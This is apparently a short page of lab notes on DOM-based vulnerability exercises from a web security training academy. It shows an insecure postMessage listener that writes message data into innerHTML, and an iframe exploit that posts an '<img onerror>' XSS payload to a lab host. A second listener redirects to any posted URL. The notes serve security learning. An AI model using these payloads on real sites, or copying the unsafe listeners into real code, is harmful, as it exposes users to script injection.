DOM-based vulnerabilities
DOM Based XSS via Misconfigured postMessage() Function
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script><iframe src="https://0abe000f03ab5cf1843519c100490025.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*') "></iframe>DOM XSS using web messages and a JavaScript URL
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>DOM XSS using web messages and JSON-parse
DOM-Based Open Redirection Vulnerability
DOM-based cookie manipulation
DOM-Based XSS via DOM Clobbering
Last updated